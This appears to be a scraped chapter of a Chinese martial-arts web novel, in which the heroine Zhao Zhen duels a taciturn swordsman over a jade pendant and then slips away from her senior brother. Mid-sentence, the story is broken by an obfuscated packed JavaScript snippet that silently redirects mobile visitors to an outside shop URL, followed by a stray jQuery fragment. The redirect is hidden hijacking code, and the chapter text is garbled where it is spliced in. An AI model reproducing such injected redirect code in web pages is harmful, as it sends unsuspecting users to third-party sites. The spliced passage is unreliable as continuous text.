文趣网 > 都市小说 > 江湖宜结交 > 8. 刺客
    待反应过来后,阿桃追着那少年打,力度丝毫不留情,“好啊,臭李松,我是江桃,不是江阿桃,还有,你吓到我了!”

    连续追打了好几个来回,那少年拱手连声求饶。

    赵蓁捧着手边的粉果羹默默走向旁边,看这架势,阿桃并不需要帮忙。

    阿桃双手抱胸,下巴微扬,朝他哼了几声。少年连忙整理了一下皱乱的衣衫,清了清嗓子,向她拱手问好:“你好,我是李松,请问如何称呼?”

    赵蓁看他明明一少年,却是一副老成的模样,也是有些好笑,“你同阿桃一起,唤我阿蓁姐姐便好。”

    “阿蓁姐好,”那少年起身,当真是名如其人,身子挺拔如松,气质清然,似能瞥见将来弱冠年华时的灿然风采。

    李松低头扫去,这一石桌上布满了各式各样的小吃,甜的有酸甜冷元子和糖蜜糕,咸的有焦饼、鸡丝粉,炙烤牛筋等,更别说又添了些许他记不得名字的。

    李松瞪圆眼睛,伸手怒指,“宴会上那些还不够你吃吗?!你还溜出来点了这许多?!”

    阿桃搅了搅衣角,嘟囔着说:“宴会上那些早吃腻了,还不如这些好吃呢。”

    原来是吃腻了,怪不得方才对宴上那些菜不屑一顾。

    李松冷哼,不听她辩解,“你若吃了这些,明早肚子定要不舒服。”

    “另外,你这个月的例银别想拿到了,我会告诉伯母。”

    阿桃叉腰,“你?!”像突然想到什么似的,转而抓住他的衣袖,左右晃着,撒娇般的语气,“阿松~阿松,别嘛,难得阿蓁姐姐来到玉州,我不请她吃点本土特色菜怎说得过去。”

    说完,阿桃朝着赵蓁眨了眨眼,示意她帮忙圆一圆。

    赵蓁听这两人对话可好玩了,似乎也能瞥见自己小时候,也是这般央求着几位师兄的。

    赵蓁不想小姑娘伤心,本想说些什么,却瞥见一抹墨黑衣袖,细看有几分熟悉,好像刚才每转一个地点都能瞅见那一角衣袖。

    她登时正色,喊道:“谁?!出来!”

    甫一听这声音,两人都有些被吓到,李松反应过来后,便身子一闪,挡在了阿桃身前。

    紧接着,一人长腿越过栏杆,长身如立,着一身墨黑常服,腰间更无一点配饰,看着很是神秘。

    阿桃:看着不像好人

    李松听闻,欸一声,急忙捂住她嘴,而后拉着她便靠后站去。

    赵蓁将到嘴边的签子放下,随口一问:“不知阁下来此,有何要指教的?”

    那人仿佛不想多说一字,手指了指她腰间,“这。”

    阿桃扯开李松的手,小碎步走上前,极小声地问:“蓁姐姐,此人看上去有些危险,可要我替你跑一趟官府?”

    阿桃自以为是最小声了,可在会武的两人看来,却是字字清晰。

    赵蓁领了她一番好意,一边揉了揉她头上的小髻子,一边饶有深意地看向那人,“无需告官府,我们可是相识的。”

    “你说对吧?”赵蓁说着便走近他身旁,微微抬头,小声警告他,“若不想官府介入,你应该知道怎么说。”

    那人蹦出一字,“对。”

    阿桃并无察觉到两人的异常,“既然你们是相识的,那便——”一起来吃呀。

    李松敏感觉察到什么,拉着她手,向赵蓁告退,“阿蓁姐,家里大人还在等,我们先回去了。”

    阿桃还来不及说些什么,就被李松丝毫不容许挣脱的力度带走了,边走边回头朝她挥手,“蓁姐,下次来玉州还找我玩~”

    待两人走远,那黑衣人登时拔剑,剑上的光芒一闪而过,像锋利的银光,赵蓁身形快速闪开,不由赞叹道:“是把好剑。”

    那人顿住,“当然。”

    赵蓁有些好笑,“你这人,吐出来的字加起来都不超过五。”

    那人:“嗯。”

    赵蓁撇嘴,“那你倒是说说,为何对我拔剑相向。”她正打算坐下好好听听,却不成想,那人直接挥剑,向她疾刺而来,赵蓁立即飞身向旁躲去,接着抽出细剑,避开锋芒,灵活使出剑花抵挡攻势。

    “你这人,好生无理,一言不发就拔剑。”

    那人:“玉佩。”

    好生突兀的俩字,但赵蓁微微瞥了下腰间戴的玉佩,它随着身形的移动发出叮叮的撞击声。

    赵蓁了然,“这个啊。”

    这就是那日牢中邬爷爷说的来找玉佩之人吧,既明白了此人目的,便也不急于交给他,谁叫他说话一个字一个字的地蹦出来,话又讲不明白,她定要给他一个下马威。

    但赵蓁想,这话还是说得早了。

    只见那人攻势渐猛,竟直刺她眉间,赵蓁心一跳,赶忙格剑去挡,却被这剑招的余势弹出,整个人摔在墙根下,手掌擦过粗糙的石柱,划出好几道血痕。

    越是如此

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720665|208626||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,越是激起她的好斗之心,难得遇到一个剑法与她相当之人,可不得珍惜此次‘切磋’的机会啊。

    那人显然有些不解,明明那招她都已然处于下风,眼睛深处却燃起了不服输的火光。

    接着他一跃而上,长剑下斩,赵蓁后撤一步,没有直面这猛烈的一击,反而是灵活一转,细剑刺去肋间,他抬手躲过,赵蓁趁势横刺而去,他却是料到这一步似的,长剑挥过,哐当一声,赵蓁的细剑落地,而她纤细的脖颈间,已然悬了一把锋利的长剑。

    赵蓁这才摆手,认输道:“好吧好吧,我输了。”

    她的口吻很坦然,但那人歪了歪头,说了一字,“死。”在他二十来年的生涯中,打输了就意味着死。

    赵蓁瞪大眼睛,什么?!你要这么说的话,她还能捡起剑来再打。

    那人伸手准备去夺那腰间的玉佩,却没想到,下一刻,“叮”的一声,一碎石隔空飞来,竟弹开了搁在赵蓁脖子上的长剑,

    这力度震得手竟有些发麻,他慢慢转头,“谁?”

    赵蓁摸了摸颈间,幸好并无伤痕,否则她就是打也要同他打个不死不休,不知是哪位侠义之士救了她,赵蓁朝虚空中喊了一声,“谢了。”而后将腰间的玉佩飞速一解,扔他脸上。

    那人被砸的有些怔愣,方才在对打中的狠劲完全没有了,赵蓁同他讲了其中的来龙去脉,并且还给他指了个大概位置。

    那人身子站直,蓦地朝她弯下腰,鞠了个大躬,留下一个郑重的“谢谢”,便身形一闪,消失了。

    赵蓁心想,邬爷爷应当是于他而言,恩重于山,只是,这说话的毛病得改啊。

    话本说,反派死于话多,但有时候,也死于话少啊!

    在赵蓁离去没多久,一队官兵行至此处,却发现只余下饭菜残食,人影不见,但他们可不敢埋怨李家公子报假案。

    与此同时,身在林家寿宴的陆闲也收到了侍女递来的一封信。

    “公子,有人托女婢给您带一封信。”那侍女完成任务后便退了下去。

    陆闲正暗自费解,他来这里,可是除了小师妹,其他人一概不知晓的,会有谁给他递信呢。

    展开一看,却是几个字,他气笑了。

    ‘小师兄,我走了,勿念。’

    好你个赵蓁,玩这招,他就说怎么去了如厕如此久都不见人影,这么多年,这么浅显的招数竟然还能骗过他!